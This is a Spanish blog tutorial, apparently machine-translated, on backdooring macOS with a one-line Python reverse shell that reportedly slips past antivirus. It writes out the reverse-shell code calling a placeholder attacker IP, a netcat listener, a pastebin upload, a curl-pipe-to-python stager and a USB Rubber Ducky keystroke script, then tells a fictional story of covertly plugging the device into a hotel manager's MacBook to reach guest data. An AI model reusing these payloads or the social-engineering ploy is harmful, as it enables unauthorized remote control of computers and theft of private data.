BlogWonderHowTo

Hackear macOS: cómo usar un comando de Python para omitir el software antivirus en 5 segundos

La idea errónea de que macOS es más seguro que el sistema operativo Windows está lejos de la verdad. Con solo un pequeño comando, un pirata informático puede hacerse cargo de un MacBook y controlarlo de forma remota.

El gran volumen de computadoras con Windows actualmente en funcionamiento en todo el mundo hace que piratearlas sea una empresa lucrativa para los desarrolladores de malware y los cazadores de errores que buscan sacar provecho de los exploits de día cero de Windows 10. Por lo tanto, hay muchas más noticias sobre la explotación de Windows 10, aunque macOS puede ser igualmente vulnerable.

Cuando se trata de Mac, las cargas útiles de una sola línea simplemente crean una conexión a una MacBook que permite a un atacante ejecutar comandos de forma remota. Un codificador de Python experimentado podría componer fácilmente un script sofisticado para filtrar datos confidenciales, grabar audio a través del micrófono en tiempo real, transmitir el escritorio y espiar al objetivo, o realizar automáticamente una variedad de ataques posteriores a la explotación.

Para esta nueva miniserie de nuestra colección Hacking macOS, presentaré varios comandos de una sola línea para hackear macOS. Aquí hay solo un comando capaz de crear una puerta trasera y evadir el software antivirus en el proceso:

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("1.2.3.4",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);

El firewall de macOS no marcará este comando de Python como malicioso o sospechoso (con “Bloquear todas las conexiones entrantes“habilitado) o antivirus como AVG y Avast, porque Python no es un virus. Python es una de las varias tecnologías integradas en el sistema operativo macOS que se abusa de forma muy similar a la forma en que los piratas informáticos abusan de PowerShell, una herramienta legítima diseñada para administradores de Windows.

El comando de Python es un poco extenso, así que mostraré cómo trabajar con comandos largos y cargas complejas en un truco real con un ejemplo ficticio de cómo esto podría funcionar en el mundo real.

Paso 1: Inicie el servidor Netcat

Configurar Netcat (Carolina del Norte) escuchar (-l) para nuevas conexiones entrantes en el puerto (-pag) 8080. Netcat comenzará a escuchar en todas las interfaces disponibles.

nc -l -p 8080

Paso 2: guarde la carga útil

Luego, guarde el siguiente código Python como un archivo llamado payload.py. Esto se puede hacer usando nano o un editor de texto preferido.

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("1.2.3.4",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);

Si el comando se ejecuta en una MacBook remota donde se usa un servidor privado virtual (VPS), asegúrese de cambiar la dirección IP del atacante (1.2.3.4) a la IP del servidor. Para las redes locales donde el sistema del atacante está en la misma red Wi-Fi que la MacBook, se podrá acceder a Netcat utilizando la dirección IP local del atacante (por ejemplo, 192.168.1.18). El número de puerto (8080) se puede cambiar a cualquier cosa entre 1024 y 65535.

Paso 3: Cargue la carga útil en un Pastebin

Sube el código Python a Pastebin. yo prefiero Pb, un Pastebin basado en la línea de comandos porque el nombre de dominio es muy corto y presenta la capacidad de nombrar manualmente las pastas. Por ejemplo, si quisiera cargar un script de Python, usaría el siguiente comando cURL.

cat payload.py | curl -F c=@- https://ptpb.pw/~PasteNameHere

Aquí estoy usando gato para leer el archivo Python y dirigirlo (|) al comando cURL que toma los datos (-F c = @ –) y lo envía al servidor pb con el URI “PasteNameHere”. El Pastebin luego imprimirá datos en el terminal confirmando que se creó la pasta.

cat payload.py | curl -F c=@- https://ptpb.pw/~PasteNameHere

digest: a1a045f5546347f5cbf0181328ce4d77550f6ff7
label: ~PasteNameHere
long: AKGgRfVUY0f1y_AYEyjOTXdVD2_3
short: D2_3
size: 7938
status: created
url: https://ptpb.pw/~PasteNameHere
uuid: xxxxxxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx

Simplemente visitando la URL ahora desde cualquier navegador web mostrará la carga útil de Python. El nombre de la pasta puede ser cualquier cosa. Si quisiera crear una pasta con mi nombre de usuario, usaría el siguiente comando.

cat payload.py | curl -F c=@- https://ptpb.pw/~tokyoneon

Paso 4: Hackear todas las MacBooks

De ahora en adelante, cualquier MacBook puede ser pirateado usando el siguiente comando. Es un comando bastante fácil de memorizar. El comando cURL descargará el pegado (stager) que contiene el código Python y se ejecutará como un proceso en segundo plano.

curl ptpb.pw/~tokyoneon | python - &

Ataques de ingeniería social

El verdadero desafío es el aspecto de ingeniería social de un ataque. ¿Cómo engaña un pirata informático a alguien para que ejecute un código malicioso? Bueno, me divertí un poco este fin de semana y compuse un escenario simple en forma de una historia corta que puede ayudar a ilustrar un uso práctico para hackear macOS usando un solo comando.

Si bien esta historia es completamente ficticia e hipotética, probé el ataque destacado contra macOS High Sierra donde Avast (o AVG) fue instalado. Todos los personajes llevan el nombre de hackers notorios.

El gerente del hotel y el patito de goma

Un pirata informático quería acceder a una base de datos de hoteles de alta gama que contenía información privada de los clientes. Para acercarse al personal del hotel y sus redes internas, el hacker decidió pasar una noche en el hotel bajo el alias “Nathalie Nahai”.

Nathalie entró en el hotel y aún no lo sabía, pero la recepcionista normal estaba enferma esa noche en particular. Esto significó que el subdirector del edificio actuó como conserje durante varias horas. Después de acercarse al escritorio de la recepcionista en el vestíbulo, Nathalie vio la etiqueta con el nombre del conserje, que decía: “Gerente: Christopher Hadnagy”. Tenía el logo del hotel al lado.

“¡Buenas noches y bienvenido a Hacked Hotel! ¿Cómo puedo ayudarte esta noche?” exclamó Christopher con una sonrisa radiante.

“Hola, Chris”, dijo Nathalie, abreviando su nombre completo en un esfuerzo por crear un tono informal en la conversación. “Me gustaría reservar una habitación para pasar la noche”.

Mientras Christopher comenzaba el proceso de registro de nuevos clientes en el quiosco de punto de venta (PoS) con pantalla táctil, Natalie vio una MacBook abierta en el escritorio de la recepcionista. “Oh, ¿es ese el último modelo de MacBook?” Preguntó Natalie, haciendo phishing para obtener información y buscando discretamente en su billetera el USB Rubber Ducky con la etiqueta “macOS”. La carga útil USB Rubber Ducky fue diseñada para crear una puerta trasera que le daría acceso remoto a la MacBook.

DELAY 1500
GUI SPACE
DELAY 350
STRING terminal
DELAY 100
ENTER
DELAY 1000
STRING curl ptpb.pw/~tokyoneon | python - &
ENTER
GUI q

“No, no del todo”, dijo con una sonrisa. “Es uno más antiguo que uso para el trabajo, pero tenía la intención de actualizarlo. Luego se interrumpió con:” ¿Qué tipo de habitación necesitarás esta noche? “

“Hmm, ¿cuáles son mis opciones?” preguntó Natalie, ocultando el patito de goma macOS USB en la palma de su mano, esperando tener la oportunidad de insertarlo en la MacBook del gerente.

“Bueno, nuestras habitaciones comienzan en $ 425 la noche. Eso es una cama tamaño queen, un baño e incluye desayuno, acceso a nuestra piscina …” El gerente recitó las características y beneficios incluidos en los diversos paquetes y ofertas del hotel. Para crear una oportunidad de insertar el patito de goma USB en la MacBook, Natalie preguntó: “¿Tendría un folleto o panfleto con todas las opciones? Verá, mi mamá está volando a la ciudad esta noche y quiero asegurarme de que estás cómodo “.

“Por supuesto”, respondió Christopher alcanzando un lado del escritorio para un folleto. “Oh, en realidad, parece que estamos todos fuera. Dame un segundo; tomaré algunos más de la oficina de atrás”.

El gerente salió corriendo de detrás del escritorio de la recepcionista y entró en la habitación cerrada a unos metros de distancia. Natalie extendió la mano por encima del escritorio e insertó la carga útil USB en el MacBook que estaba casi fuera del alcance de su brazo. Se abrió una ventana de terminal solo dos segundos después de insertar el USB Rubby Ducky, y la luz del USB cambió de rojo a verde, lo que indica que la inyección de pulsación de tecla se completó.

Nathalie sacó el USB Rubby Ducky del MacBook y trató de parecer casual. Unos segundos más tarde, Christopher regresó de la trastienda con un puñado de folletos.

“Aquí tienes un folleto para ti y otro para tu mamá”, dijo con una sonrisa.

Esté atento a más cargas útiles de una sola línea …

Este es solo un ejemplo ficticio de cómo alguien podría crear una computadora de escritorio MacBook o Mac con un simple comando. Hay muchos más casos en los que un atacante podría obtener acceso a una Mac para entregar una carga útil sin sospechar nada. En los próximos artículos, mostraré cómo usar programas menos conocidos que están integrados en macOS para crear puertas traseras en la MacBook.

Imagen de portada de Espacio negativo / PEXELS; Capturas de pantalla de tokyoneon / Null Byte

Publicaciones relacionadas

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

Mira también
Cerrar
Botón volver arriba
Cerrar